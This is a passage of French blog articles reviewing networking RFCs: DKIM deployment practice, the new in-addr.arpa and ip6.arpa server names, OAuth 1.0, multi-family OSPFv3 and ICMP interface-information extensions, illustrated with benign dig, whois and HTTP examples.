diffusion du CRU,
Universalistes, a signé et engagé sa réputation. Le
d=cru.fr
indique que le CRU est responsable, le
i=smtp-fr-request@cru.fr
(facultatif) indique une
responsabilité plus précise, celle de la liste smtp-fr. Attention, le
fait qu'elle ressemble à une adresse de courrier ne doit pas faire
illusion, ce n'est pas forcément une adresse utilisable. Il faut
résister à la tentation d'analyser ce paramètre, il peut être
différent selon les services. Il faut le traiter comme opaque.
Justement, quel nom de domaine choisir pour
mettre dans les paramètres ? Comme dans l'exemple précédent, le
signeur n'est pas forcément l'auteur, il peut être un fournisseur ou
un intermédiaire. La section 2.3 explore en détail la question du
choix du nom de domaine. Ainsi, pour une compagnie qui envoie des
messages de différents types, la méthode recommandée est d'avoir
plusieurs noms (par exemple
transaction.example.com
pour les messages de
confirmation de commande mais
newsletter.example.com
pour la publicité) mais
pas trop. Un seul nom (example.com
) ne
permettrait pas de distinguer entre la propagande du service
Communication et les messages sérieux. Trop de noms et la situation
devient confuse et un service ne peut plus bénéficier de la
réputation des autres.
Si un fournisseur (ici example.net
) gère le courrier et signe pour plusieurs de ses
clients, il est logique d'utiliser un nom par client
(bigbank.example.net
,
pornvendor.example.net
,
viagravendor.example.net
, etc). Si l'un d'eux
est un spammeur, cela n'affectera pas les
autres. Une autre possibilité serait de les classer selon ce qu'ils
ont payé (free.example.net
,
business.example.net
et
firstclass.example.net
).
Après ces problèmes de haut niveau, la section 3 se consacre à une question récurrente dès que la cryptographie est en jeu : la gestion des clés. DKIM n'est pas une PKI classique car la distribution et la « certification » des clés sont toutes les deux faites par le DNS. L'existence d'une signature DKIM valide indique donc finalement que le gérant de la zone DNS en question a authentifié ce message. Mais cela suppose que les bonnes pratiques de sécurité et de cryptographie aient été utilisées partout. Par exemple, si le gérant de la zone DNS gère sa zone via une interface Web en PHP avec injection SQL incluse, son authentification ne vaut plus grand'chose. Même chose s'il laisse trainer la clé privée DKIM n'importe où. La section 3.1 couvre ce dernier cas : protégez vos clés, utilisez un HSM si possible, n'utilisez pas de système de séquestre, etc. À noter, bien que le RFC n'en parle pas, que le destinataire d'un message n'a aucun moyen de savoir si ces bonnes pratiques ont été suivies ou pas par l'expéditeur...
Ensuite, la distribution de la clé publique dans le DNS (section 3.2). Ici, le gérant de la zone doit s'assurer que la zone est raisonnablement sécurisée, et contient bien les bons enregistrements DKIM, ce qui est d'autant plus difficile que le serveur de courrier (qui signe avec DKIM) et le serveur DNS sont souvent gérés par des équipes distinctes. Les deux groupes doivent donc se coordonner soigneusement.
Le DNS n'étant lui-même pas sans failles, l'utilisation de DNSSEC (RFC 4034) est recommandée. Si on utilise les NSEC3 du RFC 5155, il ne faut pas choisir l'option opt-out, qui permettrait l'insertion de clés pirates, par exemple pour des sélecteurs DKIM choisis par l'attaquant.
La complexité est souvent le pire ennemi de la sécurité, or DKIM dispose d'un mécanisme complexe pour permettre des signatures par utilisateur et non plus juste par domaine. Les précautions à prendre lors de l'utilisation de ce mécanisme figurent en section 3.3. Là encore, un des pièges est que le destinataire ne connait pas la politique de gestion des utilisateurs du domaine expéditeur et ne peut donc pas savoir si elle est laxiste ou au contraire très rigoureuse.
Le processus de signature lui-même est ensuite couvert dans la section 4. Le module de signature peut être placé à de nombreux endroits, le plus évident étant le MTA de sortie de l'organisation, ce qui simplifie le déploiement. Par contre, cela offre moins de souplesse, moins de possibilités de réglages que si la signature se fait dans les MUA des utilisateurs. Dans les deux cas, comme la politique de l'organisation va changer au cours du temps, le RFC recommande que les choix (par exemple, quel sélecteur utiliser) soient disponibles dans la configuration plutôt que placés en dur dans le code.
Et la vérification, à l'autre bout, lorsque le message est reçu ? Quels sont les pièges à éviter ? Par exemple, la section 5.1 insiste sur un point : un message dont la signature est invalide doit être traité comme s'il n'avait pas de signature du tout. Il ne doit pas être moins bien traité car la signature invalide peut être due à bien des problèmes, pas toujours sous le contrôle de l'émetteur. (En outre, bien que le RFC n'en parle pas, les risques d'erreur lors de la signature étant nombreux, traiter moins bien les messages avec une signature invalide découragerait les premiers adopteurs de DKIM, en leur faisant payer cher une erreur, qui les ferai mettre après ceux qui n'essaient même pas de signer.) Et le message à signature invalide ne doit pas être mieux traité que celui sans signature car, dans ce cas, les méchants mettraient simplement des signatures invalides dans leurs messages. Donc, le programme de vérification peut traiter plus favorablement les messages à signature valide mais il doit être neutre pour ceux à signature invalide.
Un autre piège, traité très vite et de manière très sommaire par le
RFC, est que l'option l=
permet de ne signer
qu'une partie d'un message et qu'une attaque
possible est donc de rajouter du texte à un tel message. Le RFC ne
propose pas de solution. On pourrait imaginer un MUA qui n'affiche pas
du tout la partie non couverte par la signature, ou bien qui l'affiche
d'une manière particulière (en violet sur fond rouge ?).
Un autre piège, conséquences des risques cités plus haut sur la sécurité du DNS et de la clé privée, est qu'un destinataire oublie que la sécurité de DKIM dépend d'un certain nombre de facteurs... qui ne sont pas forcément présents (section 5.3). Par exemple, une signature valide sur un message qui ne l'est pas est possible si l'expéditeur s'est fait copier sa clé privée, ou si son hébergement DNS s'est fait pirater, ou tout simplement si une des procédures de justice privée qui abondent dans le monde des noms de domaine, comme l'UDRP, lui a fait perdre son nom de domaine.
Enfin (mais il existe d'autres pièges, mentionnés dans le RFC), l'existence d'intermédiaires pas toujours respectueux du message (par exemple les MLM) complique encore la vérification, et les conclusions qu'on peut en tirer.
Pour aider les vérificateurs, la section 6 se lance dans une
taxonomie des signatures, selon les cas les plus courants. Ainsi, on
peut trouver le cas le plus simple et le plus évident, la signature
mono-domaine (section 6.1), où l'organisation signe ses propres
messages avec son propre domaine. Ainsi, la société Toto, qui détient
le domaine toto.example
, aura à la fois des
From: USER@toto.example
et une signature en
d=toto.example
. Mais il existe aussi des cas plus
compliqués comme le cas où la signature est faite par une tierce
partie (section 6.3, voir aussi la 7.5), par exemple un « fournisseur de réputation »
qui, en signant les messages, « garantirait » la valeur de ces
messages. À noter que, pour DKIM, la signature du courrier
From: smith@company.example
par un
d=company.example
(signature mono-domaine) ou
bien par d=rep-provider.example
(signature par un
tiers) sont exactement équivalentes : DKIM lui-même ne privilégie pas
un cas plutôt qu'un autre.
Puisque plusieurs cas sont possibles, peut-on les combiner et avoir plusieurs signatures DKIM pour un message ? Oui, dit la section 6.5 qui rappelle que, non seulement c'est légal, mais que cela peut être parfaitement raisonnable dans certains cas (par exemple, signature par l'organisation émettrice et par un fournisseur de réputation).
Cela vaut la peine de le répéter : DKIM fournit uniquement un moyen de s'assurer qu'une organisation (identifiée par un nom de domaine) valide un message. DKIM est un mécanisme, pas une politique, et ne dit pas qui doit signer (comme l'indique la section 6, il y a plusieurs possibilités raisonnables) ni ce que le récepteur doit faire lorsqu'un message est signé et valide. La section 7 illustre cette « neutralité » de DKIM par plusieurs exemples d'usages, incluant la publication des politiques de signature par ADSP (RFC 5617).
La très ancienne expérience de la cryptographie dans l'Internet indique qu'il y aura certainement des problèmes avec DKIM. La section 8 cite quelques cas qui seront probablement délicats comme le cas d'une personne en voyage professionnel qui essaie d'envoyer du courrier en passant par le MTA du FAI de son hôtel, qui n'a pas la clé privée de la société de cette personne... Un problème similaire survient avec les services du type « Envoyez cette information à un ami » où le service qui propose cette fonction n'a pas de clé privée correspondant au domaine que l'utilisateur indiquera dans son adresse. DKIM ne fournit pas de solution à ce problème.
Ainsi, même les cas qui semblent simples et banals peuvent provoquer des surprises. La section 8.2 mentionne le problème de l'authentification du courrier d'une organisation, par cette même organisation. Surement, une organisation qui signe tout avec DKIM peut rejeter le courrier entrant qui prétend venir d'elle, mais qui n'a pas de signature ? Mais c'est plus compliqué que cela, en raison des programmes qui modifient les messages (et peuvent invalider une signature), ainsi qu'en raison des messages envoyés par le VRP itinérant cité plus haut.
Certains choix peuvent rendre l'utilisation de DKIM encore plus
difficile. Par exemple, l'authentification par utilisateur, quoique
parfois citée par certains enthousiastes partisans de DKIM, risque
fort d'être peu praticable, pour les raisons expliquées en section
8.3 : il y a peu d'intérêt à maintenir une base de réputation par
utilisateur (on peut imaginer un récepteur qui fasse confiance au
courrier d'amazon.com
, on a plus de difficulté à
concevoir un récepteur qui fasse confiance à
smith@amazon.com
mais pas à
jones@amazon.com
), et le coût d'une telle
signature par utilisateur (distribuer les clés, garantir leur
sécurité, les mettre à jour) serait énorme.
Et les logiciels ? Après tout, ils sont en première ligne dans le déploiement de DKIM et plus d'une mesure de sécurité a été annulée par un mauvais logiciel. Les sections 8.4 et 8.5 rassemblent les analyses sur le rôle desdits logiciels. Par exemple, l'usage des MUA pour signer est découragé, car les MUA ne sont pas en général sous le contrôle direct de l'organisation, contrairement aux MTA, et sont souvent situés sur des machines compromises.
Enfin, pour continuer dans les conseils pratiques, notons l'annexe
A 3, qui détaille comment réaliser une migration DKIM propre, depuis
un algorithme de signature DKIM (RSA est le seul
normalisé dans le RFC 6376) vers un autre et
l'annexe B qui rappelle les principes généraux de programmation d'une
application cryptographique sûre. Par exemple, sur une machine à
mémoire virtuelle, le programmeur devrait
s'assurer que la clé privée, stockée en mémoire, ne se retrouve pas
dans le swap à un endroit où d'autres processus
pourraient la lire (pour cela, le programmeur peut, par exemple, utiliser
mlock()
sur Unix.) Notre RFC recommande
fortement d'utiliser des bibliothèques cryptographiques existantes et
éprouvées, plutôt que de se croire capable d'en inventer une nouvelle.
Le ricaneur notera que l'IETF ne s'est mise à utiliser son œuvre qu'en juillet 2011. Désormais, les messages émis par les serveurs de courrier de l'IETF arborent fièrement la signature DKIM :
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=ietf.org; s=ietf1; t=1311614276; bh=qLpIZcZ8XeP5xTrgVPRjnXlZjXWiz9DqXpACtarsL0Q=; h=Date:From:To:Subject:Message-ID:MIME-Version:List-Id: List-Unsubscribe:List-Archive:List-Post:List-Help:List-Subscribe: Content-Type:Content-Transfer-Encoding:Sender; b=ppseQobrat1rQ+Brsy2LSpMAA79YgaFJ7PK2EG1N4w0zS2IZBqDQiXYHJxG/wv4wl GOd42GtThBVxB5BmBhkTn8M1Rqz+ZhW2pLPlcI1zHcmLmJHLMt1wC6R3wiCi4bipVd CszNeb58HSYGNDQmvnW9dAxi38pL/kjunJTpmVT4=
Date de publication du RFC : Mai 2010
Auteur(s) du RFC : J. Abley (ICANN), T. Manderson (ICANN)
Première rédaction de cet article le 24 mai 2010
Dernière mise à jour le 18 février 2011
Tous les RFC ne décrivent pas forcément une
norme technique. Certains sont de nature plus
opérationnelle et c'est le cas de de ce document, qui décrit le
nouveau schéma de nommage des serveurs DNS de
in-addr.arpa
et
ip6.arpa
.
Bien qu'il n'existe aucun document décrivant l'usage qui peut être
fait de la correspondance depuis l'adresse IP
vers le nom de domaine (il y a eu plusieurs
essais à l'IETF, tous ratés), il ne fait pas de
doute que cette correspondance est utilisée. Par exemple, beaucoup de
MTA, à l'exemple de
Postfix, résolvent systématiquement l'adresse
IP du client en nom, même s'ils ne se servent pas de ce nom. Pour
cela, il font une requête de type
PTR
sur un nom spécial,
formé à partir de l'adresse IP, et ajoutant un domaine spécial de
.arpa
à la fin. Avec
l'option -x
, dig fait tout
cela automatiquement, ce qui permet de voir le processus, ici pour une
adresse IPv6 :
% dig -x 2001:db8:dada::beef:1 ; <<>> DiG 9.5.1-P3 <<>> -x 2001:db8:dada::beef:1 ... ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 20846 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 ;; QUESTION SECTION: ;1.0.0.0.f.e.e.b.0.0.0.0.0.0.0.0.0.0.0.0.a.d.a.d.8.b.d.0.1.0.0.2.ip6.arpa. IN PTR ;; AUTHORITY SECTION: d.0.1.0.0.2.ip6.arpa. 10800 IN SOA ns1.apnic.net. read-txt-record-of-zone-first-dns-admin.apnic.net. 3005122290 7200 1800 604800 172800 ...
On voit le domaine « spécial »,
ip6.arpa
(RFC 3152), à la fin (pour
IPv4, cela serait
in-addr.arpa
). Tout ceci
est rappelé dans la section 1 du RFC.
Mais qui gère ces domaines spéciaux et avec quels serveurs ? Avant ce RFC, les serveurs de noms de ces domaines étaient un sous-ensemble des serveurs racine :
% dig NS in-addr.arpa ... ;; ANSWER SECTION: in-addr.arpa. 86400 IN NS a.root-servers.net. in-addr.arpa. 86400 IN NS b.root-servers.net. in-addr.arpa. 86400 IN NS c.root-servers.net. in-addr.arpa. 86400 IN NS d.root-servers.net. in-addr.arpa. 86400 IN NS e.root-servers.net. in-addr.arpa. 86400 IN NS f.root-servers.net. in-addr.arpa. 86400 IN NS g.root-servers.net. in-addr.arpa. 86400 IN NS h.root-servers.net. in-addr.arpa. 86400 IN NS i.root-servers.net. in-addr.arpa. 86400 IN NS k.root-servers.net. in-addr.arpa. 86400 IN NS l.root-servers.net. in-addr.arpa. 86400 IN NS m.root-servers.net.
pour in-addr.arpa
(qui, en décembre 2010, n'a pas encore changé) et des serveurs fournis
par les RIR pour
ip6.arpa
:
% dig NS ip6.arpa ... ;; ANSWER SECTION: ip6.arpa. 84600 IN NS ns.icann.org. ip6.arpa. 84600 IN NS sec1.apnic.net. ip6.arpa. 84600 IN NS ns2.lacnic.net. ip6.arpa. 84600 IN NS ns-sec.ripe.net. ip6.arpa. 84600 IN NS tinnie.arin.net.
Le but du nouveau schéma est de séparer les domaines en
.arpa
du reste de l'infrastructure, pour pouvoir
les déléguer éventuellement à d'autres serveurs. Le RFC ne spécifie
que le nommage. La nomination des opérateurs de ces domaines est une
question politique, laissé à l'ICANN, via la
fonction IANA, suivant le RFC 2860 :
% whois -h whois.iana.org arpa IANA Whois Service Domain: arpa ID: arpa Sponsoring Organization: Organization: Internet Assigned Numbers Authority ... Country: United States ... Administrative Contact: Organization: Internet Architecture Board (IAB) c/o IETF Administrative Support Activity, ISOC ... Country: US ... Technical Contact: Organization: Internet Assigned Numbers Authority ...
Donc, en quoi consiste le nouveau schéma ? Suivant de nombreuses
zones (comme la racine mais aussi comme des TLD tels que
.fr
), les serveurs de
in-addr.arpa
sont désormais
tous dans un domaine dédié et ont un nom d'une seule lettre
(section 2 du RFC) :
A.IN-ADDR-SERVERS.ARPA
B.IN-ADDR-SERVERS.ARPA
C.IN-ADDR-SERVERS.ARPA
Ces noms se terminant par les deux mêmes composants permettent la compression des données DNS (RFC 1035, section 4.1.4).
Les serveurs de in-addr-servers.arpa
et de
in-addr.arpa
sont les mêmes (puisqu'ils servent
le même but et peuvent donc partager le même sort en cas de
problème). La colle (les adresses IP des serveurs) sera de toute façon
présente dans la zone parente et l'utilisation d'un seul domaine ne
pose donc pas de problème de fiabilité.
Même système pour les serveurs de ip6.arpa
(section 3 du RFC) :
A.IP6-SERVERS.ARPA
B.IP6-SERVERS.ARPA
C.IP6-SERVERS.ARPA
Le nouveau schéma a été déployé quelques mois après la publication du
RFC (travail terminé le 7 décembre 2010 pour ip6.arpa
et le 18 février 2011, après quelques cafouillages, pour in-addr.arpa
) :
% dig NS ip6.arpa. ... ;; ANSWER SECTION: ip6.arpa. 84600 IN NS a.ip6-servers.arpa. ip6.arpa. 84600 IN NS b.ip6-servers.arpa. ip6.arpa. 84600 IN NS c.ip6-servers.arpa. ip6.arpa. 84600 IN NS d.ip6-servers.arpa. ip6.arpa. 84600 IN NS e.ip6-servers.arpa. ip6.arpa. 84600 IN NS f.ip6-servers.arpa.
% dig NS in-addr.arpa. ... ;; ANSWER SECTION: in-addr.arpa. 29652 IN NS a.in-addr-servers.arpa. in-addr.arpa. 29652 IN NS c.in-addr-servers.arpa. in-addr.arpa. 29652 IN NS d.in-addr-servers.arpa. in-addr.arpa. 29652 IN NS f.in-addr-servers.arpa. in-addr.arpa. 29652 IN NS e.in-addr-servers.arpa. in-addr.arpa. 29652 IN NS b.in-addr-servers.arpa.
La gestion de .arpa
étant une affaire de
gouvernance
complexe, la section 4 doit expliquer que l'IAB
a donné son accord pour le nouveau schéma, rôle que le RFC 3172 lui attribue.
Notez enfin que ce RFC ne concerne que les sous-domaines de
.arpa
. Le cas du TLD
lui-même a été traité ultérieurement dans le RFC 9120.
Date de publication du RFC : Avril 2010
Auteur(s) du RFC : E. Hammer-Lahav
Pour information
Première rédaction de cet article le 3 mai 2010
Le protocole OAuth, déjà fréquemment déployé, voit son développement officiellement passer du côté de l'IETF, avec ce RFC 5849 qui reprend la description de la version 1 du protocole, pendant que le groupe de travail Oauth travaille à la version 2 (dont le premier document publié a été le RFC 6749, en octobre 2012).
OAuth, parent de OpenID, est un protocole d'authentification d'un tiers, le client, qui veut accéder à une ressource, par exemple un fichier, située sur un serveur et dont le contrôle revient à un propriétaire. (OpenID vise à authentifier un utilisateur humain, OAuth à authentifier la requête d'un programme, agissant pour le compte d'un humain.) Prenons un exemple (vous en trouverez d'autres dans le RFC, comme l'exemple classique de l'impression de photos, mais celui que j'indique a l'avantage d'être un exemple réel) : le service de microblogging Twitter permet à des utilisateurs (les propriétaires, dans la terminologie OAuth) de faire connaître au monde entier leurs pensées profondes en moins de 140 caractères. Le succès de ce service et l'existence d'une bonne (car très simple) API a poussé à l'arrivée de nombreux services tiers qui ont tous en commun de devoir accéder au compte Twitter de l'utilisateur (par exemple, Auto FollowFriday, Twibbon ou TwitterCounter - à noter que le premier des trois n'est pas encore passé à Oauth). Une façon possible, pour ces services, d'accéder au compte Twitter de l'utilisateur est de lui demander son nom et son mot de passe. On voit les conséquences que cela peut avoir pour la sécurité... OAuth fournit une meilleure solution : le serveur, en recevant la requête du client, demande au propriétaire l'autorisation :
Tout se fait par redirections HTTP (RFC 2616, section 10.3). Bien sûr, pour que cela soit sûr, il y a de nombreux détails à prendre en compte, ce qui explique les quarante pages du RFC.
OAuth existe depuis plusieurs années et était géré par un groupe informel (voir la section 1 du RFC pour un historique). Il est désormais documenté dans ce RFC 5849 (la version documentée n'a pas subi de changement significatif à l'IETF, c'est surtout une officialisation, avec quelques corrections de bogues, l'annexe A détaille ces changements ; le plus gênant est la refonte complète de la terminologie) et les nouvelles versions sont maintenant développées à l'IETF.
Une fois que Twitter a adopté ce protocole et documenté son usage, la plupart des services tiers l'ont intégré (par exemple Twibbon).
Lisons maintenant le RFC. Premièrement, le vocabulaire (section 1.1). Ce qui se jouait autrefois à deux (le client et le serveur) est désormais fréquemment une partie à trois (OAuth Love Triangle, dit Leah Culver), le client (client, Twibbon dans le cas plus haut), le serveur (server, Twitter dans le cas plus haut) et le propriétaire (resource owner, moi). Notez que la terminologie OAuth a changé avec ce RFC (par exemple, le propriétaire était nommé « utilisateur » - user).
Pour voir le cheminement complet d'une authentification OAuth, on
peut regarder la jolie
image de Yahoo (mais attention, elle utilise l'ancienne terminologie) ou bien suivre l'exemple de la section 1.2 du
RFC. Si le client, le service d'impression
printer.example.com
veut accéder aux photos
stockées sur le serveur photos.example.net
, et
dont le propriétaire est Jane :
oauth_token
).oauth_signature
).La requête initiale du client auprès du serveur pourra ressembler à :
POST /initiate HTTP/1.1 Host: photos.example.net Authorization: OAuth realm="Photos", oauth_consumer_key="dpf43f3p2l4k3l03", oauth_signature_method="HMAC-SHA1", oauth_timestamp="137131200", oauth_nonce="wIjqoS", oauth_callback="http%3A%2F%2Fprinter.example.com%2Fready", oauth_signature="74KNZJeDHnMBp0EMJ9ZHt%2FXKycU%3D"
Si le serveur renvoie le token
hh5s93j4hdidpola
,
la redirection de Jane vers le serveur pourra se faire via un URL
comme :
https://photos.example.net/authorize?oauth_token=hh5s93j4hdidpola
et, une fois l'authentification de Jane auprès du serveur et son
autorisation de la requête effectuées, le client pourra demander son
autorisation pour le token hh5s93j4hdidpola
:
POST /token HTTP/1.1 Host: photos.example.net Authorization: OAuth realm="Photos", oauth_consumer_key="dpf43f3p2l4k3l03", oauth_token="hh5s93j4hdidpola", oauth_signature_method="HMAC-SHA1", oauth_timestamp="137131201", oauth_nonce="walatlh", oauth_verifier="hfdp7dh39dks9884", oauth_signature="gKgrFCywp7rO0OXSjdot%2FIHF7IU%3D"
Et enfin, après encore un nouveau token, le client pourra demander la photo :
GET /photos?file=vacation.jpg&size=original HTTP/1.1 Host: photos.example.net Authorization: OAuth realm="Photos", oauth_consumer_key="dpf43f3p2l4k3l03", oauth_token="nnch734d00sl2jdk", oauth_signature_method="HMAC-SHA1", oauth_timestamp="137131202", oauth_nonce="chapoH", oauth_signature="MdpQcU8iPSUjWoN%2FUDMsK2sui9I%3D"
Voici pour le principe. Le reste du RFC est consacré aux détails. D'abord, comment obtenir son token ? Comme indiqué dans l'exemple, la méthode la plus courante est la redirection HTTP, normalisée en détail dans la section 2. Elle nécessite trois URL à connaître par le client. Par exemple, ceux de Twitter (apparemment documentés uniquement dans le source) sont :
https://twitter.com/oauth/request_token
(le terme
de request token fait référence à l'ancienne
terminologie, dans le RFC, vous trouverez le même concept sous le nom
de temporary credentials, cd. section 1.1),http://twitter.com/oauth/authorize
,https://twitter.com/oauth/access_token
.Comment authentifier toutes ces requêtes ? C'est le but de la section 3.
À noter qu'il existe
plusieurs méthodes, dépendant du serveur. Le paramètre
oauth_signature_method
indique celle choisie,
cela peut utiliser de la cryptographie asymétrique - cf. RFC 3447 -, un condensat
incluant un secret partagé - cf. RFC 2104 -, voire même du
texte brut, qui doit alors évidemment être emballé dans
https. Les sections 3.4 à 3.6 détaillent la
canonicalisation à pratiquer et autres formalités.
Le but de Oauth étant la sécurité, il n'est pas étonnant que la section résumant les questions de sécurité (section 4) soit longue. Parmi les points passés en revue :
Authorization:
(ce qui est permis : section 3.5.1), le relais ne peut pas savoir que
la ressource est protégée et risque donc de la distribuer après à
d'autres clients. Il faut donc, dans ce cas, utiliser
Cache-control:
pour l'en empêcher (section
4.4).oauth_consumer_key
et signature de la requête initiale), certes, mais le client peut être du
logiciel distribué avec son code source et, de
toute façon, un attaquant déterminé peut trouver les paramètres du
client même sans le code source, puisqu'il tourne sur une machine que
l'attaquant contrôle. Le serveur ne doit donc pas faire une confiance
aveugle que le client est bien celui qu'il prétend être (section
4.6).Un guide complet sur OAuth est disponible en http://hueniverse.com/oauth/guide/
. Une autre bonne introduction est « Gentle introduction to OAuth ». Parmi les applications
amusantes d'OAuth, un curl OAuthisé
en http://groups.google.com/group/twitter-api-announce/browse_thread/thread/788a1991c99b66df
. Un
exemple de programmation OAuth pour accéder à Twitter en
Python figure dans mon article. Fin 2012, la version 2 de
OAuth est en cours de finalisation à l'IETF,
mais de grosses incertitudes demeurent. Le premier RFC de la nouvelle
version est le RFC 6749.
Date de publication du RFC : Avril 2010
Auteur(s) du RFC : A. Lindem (Ericsson), S. Mirtorabi, A. Roy, M. Barnes (Cisco), R. Aggarwal (Juniper)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ospf
Première rédaction de cet article le 25 avril 2010
Les relations du protocole de routage OSPF avec le fait qu'il existe plusieurs familles de protocoles IP (IPv4 et IPv6) ont toujours été compliquées. En pratique, la totalité des déploiements actuels d'OSPF dans un environnement mixte (v4 et v6) se font avec deux installations séparées, une utilisant OSPF v2 (RFC 2328) pour IPv4 et une utilisant OSPF v3 (RFC 5340) pour IPv6. Cela complique la tâche de l'administrateur réseaux et notre RFC propose donc une autre approche, un mécanisme simple pour utiliser le protocole le plus récent, OSPF v3, pour toutes les familles.
Ce n'est pas la première tentative pour faire d'OSPF v3 (normalisé dans le RFC 5340) un protocole de routage multi-familles. Mais, jusqu'à présent, OSPF v3 n'était utilisé que pour IPv6. Ce RFC 5838 vise la simplicité en minimisant les changements au protocole. Il s'appuie sur un mécanisme existant d'OSPF v3, les instances (section 2.4 du RFC 5340). En gros, chaque instance est une incarnation du protocole OSPF, avec sa propre base, mais gérée par le même routeur (ce qui minimise le travail pour l'administrateur).
La section 1 précise que chaque famille d'adresse (IPv4, IPv6 mais aussi des choses plus exotiques comme multicast IPv6) sera mise en correspondance avec une instance OSPF v3. Cela permet d'atteindre l'objectif de simplicité (section 1.1) puisqu'on n'introduit pas de nouveau mécanisme, les instances existant déjà) mais cela empêche les différentes familles de partager l'information, chaque instance ayant sa propre base de données. Si un lien qui sert à IPv4 et IPv6 tombe, il faudra le détecter deux fois et faire les calculs SPF deux fois (routage dit des « navires dans la nuit » car les différentes instances ne se voient pas : elles partagent le logiciel et une partie de la configuration, mais pas les bases).
La section 2 détaille l'affectation des numéros d'instance (Instance ID, un octet dans l'en-tête OSPF). L'idée est d'affecter des plages de numéros d'instances à chaque famille. Ainsi (section 2.1), l'unicast IPv6 a les numéros de 0 à 31, l'unicast IPv4 de 64 à 95, etc (128 à 255 sont actuellement libres, un RFC ayant le statut de norme étant nécessaire si on veut les utiliser). La liste complète des plages figure dans un registre IANA (cf. section 5).
À noter que OSPF v3 tourne uniquement sur IPv6, même lorsque les routeurs échangent de l'information sur des préfixes IPv4. Il faut donc activer IPv6 sur tous les liens, même si IPv6 n'est pas routé (un routeur OSPF v3 utilise les adresses « locales au lien » pour communiquer avec ses pairs).
Comme les routeurs OSPFv3 qui utilisent notre nouveau RFC coexisteront dans les réseaux avec les « vieux » routeurs, il est préférable d'avoir un mécanisme de signalisation pour les distinguer. C'est l'objet de la section 2.2 qui définit les bits du champ Options de OSPF (annexe A.2 du RFC 5340). Le bit v6, qui était déjà défini, est désormais ignoré (puisque la famille d'adresses est indiquée via l'Instance ID et un nouveau bit reçoit une signification, le n° 15, le bit AF (pour Address Family) qui, s'il est mis à un, indique un routeur conforme à ce RFC 5838. Un routeur configuré pour notre RFC doit ignorer les paquets où ce bit n'est pas mis (section 2.4) sauf pour l'unicast IPv6 (afin de pouvoir continuer à utiliser OSPFv3 comme avant). Cette heureuse coexistence entre anciens en nouveaux est décrite plus précisément en section 3.
En revanche, il n'y a pas de changement dans la définition des LSA (Link State Advertisements, les paquets qui portent la description d'un lien), OSPFv3 les avait déjà prévu « multi-protocoles » en indiquant explicitement la longueur du préfixe et la famille d'adresses (section 2.3). De même, l'adresse du routeur à utiliser n'est pas celle du pair OSPF (qui est forcément une adresse IPv6) mais est mise dans le LSA (section 2.5 ainsi que la section 4.4.3.8 du RFC 5340) et peut donc être une adresse IPv4.
Date de publication du RFC : Avril 2010
Auteur(s) du RFC : A. Atlas, R. Bonica (Juniper), C. Pignataro (Cisco), JR. Rivers, N. Shen (Cisco)
Chemin des normes
Première rédaction de cet article le 25 avril 2010
Depuis les débuts d'IP, les routeurs envoient des messages ICMP à l'émetteur lorsqu'ils ne peuvent pas transmettre un datagramme. Ces messages, normalisés dans les RFC 792 et RFC 4443, donnent un certain nombre d'informations sur le datagramme original mais ne contiennent pas les informations internes au routeur comme l'interface réseau par lequel le datagramme original est arrivé, ou bien l'adresse IP du routeur auquel il aurait été transmis. Ce RFC normalise des extensions pour transmettre cette information.
Donc, quand un routeur reçoit un datagramme qu'il ne peut pas ou ne veut pas faire suivre, il renvoie un message ICMP (RFC 1812, notamment la section 4.3). Parfois, l'interface réseau sur laquelle a été reçue le datagramme original (celui dont la non-transmission a nécessité l'émission d'un message ICMP) est identifiée par l'adresse IP source du message ICMP. Mais pas toujours (section 2 du RFC). Pour que cela marche, en effet, il faut que le routeur aie envoyé le message ICMP par l'interface où le datagramme original avait été reçu et que cette interface soit « numérotée » (aie une adresse IP en propre). Mais le routage peut être asymétrique (auquel cas le message ICMP sort par une autre interface que celle où le datagramme IP était entrée) et les interfaces n'ont pas forcément une adresse IP.
IPv6 fournit d'autres possibilités (RFC 4443) pour la sélection de l'adresse IP source du message
d'erreur. Mais, dans les deux cas, IPv4 ou IPv6, il n'existe pas de
moyen fiable d'indiquer l'interface d'entrée du datagramme
original. D'où l'extension de notre RFC. Celle-ci permet d'indiquer le
nom de l'interface (identique au ifName
du RFC 2863), ses adresses IP, etc.
Pour cela, cette extension repose sur le concept de messages ICMP structuré, défini dans le RFC 4884.
La section 3 donne des exemples d'application de cette extension. Par exemple, elle peut être utilisée par traceroute pour améliorer l'information donnée à l'utilisateur (section 3.1). Malheureusement, je ne connais pas encore de mise en œuvre de traceroute qui utilise cette extension.
Même des informations a priori
complètement opaques (comme le numéro - ifIndex
-
de l'interface où le routeur
avait reçu le datagramme original) peuvent être utiles, par exemple
pour voir si deux paquets étaient entrés par la même interface.
Comme cette extension permet également d'identifier quelle aurait été l'interface de sortie du datagramme original (s'il avait été transmis), elle peut servir à déboguer des problèmes de filtrage spécifiques à une interface, ou bien à résoudre les problèmes de MTU (section 3.2).
L'extension est formellement décrite dans la section 4. Elle a la
forme d'un objet (RFC 4884), le Interface Information
Object. Cet objet porte le numéro de classe 2 dans le registre
IANA (cf. section 7). Il est joint aux paquets ICMP
comme Time Exceeded
ou Destination
Unreachable
. Le sous-type (section 4.1, c-type dans
le RFC 4884) identifie le rôle de l'interface du
routeur et quelles informations sont
incluses (par exemple, le cinquième bit du sous-type indique si
l'objet comprend l'information sur l'adresse IP de l'interface
considérée). Quels sont les rôles possibles pour l'interface à propos de
laquelle l'objet d'information est envoyé ? Par exemple, les deux
premiers bits du sous-type à zéro indiquent que l'interface est celle
d'entrée du datagramme originel. Le premier bit à 1 et le second à
zéro indiquent que l'objet décrit au contraire l'interface de sortie
(enfin, celle qui aurait été utilisée si le paquet avait été
transmis).
Les sections suivantes décrivent le format des sous-objets
d'information. Par exemple, si une adresse IP est présente (bit 5 du
sous-type), son format figure en section 4.2 (la famille, IPv4 ou
IPv6, puis l'adresse elle-même). Si le nom de l'interface est présent
(bit 6 du sous-type), le format de ce nom est décrit par la section
4.3 (un octet pour la longueur, puis le nom en UTF-8, suivant la description de
la MIB-II, dans le RFC 2863, par exemple
eth1
ou Ethernet0/3
).
Pour aider à la compréhension, la section 4.4 donne des exemples détaillés de paquets utilisant cette extension ICMP. Si vous n'avez pas compris mes explications, les exemples de cette section rendront tout cela plus clair.
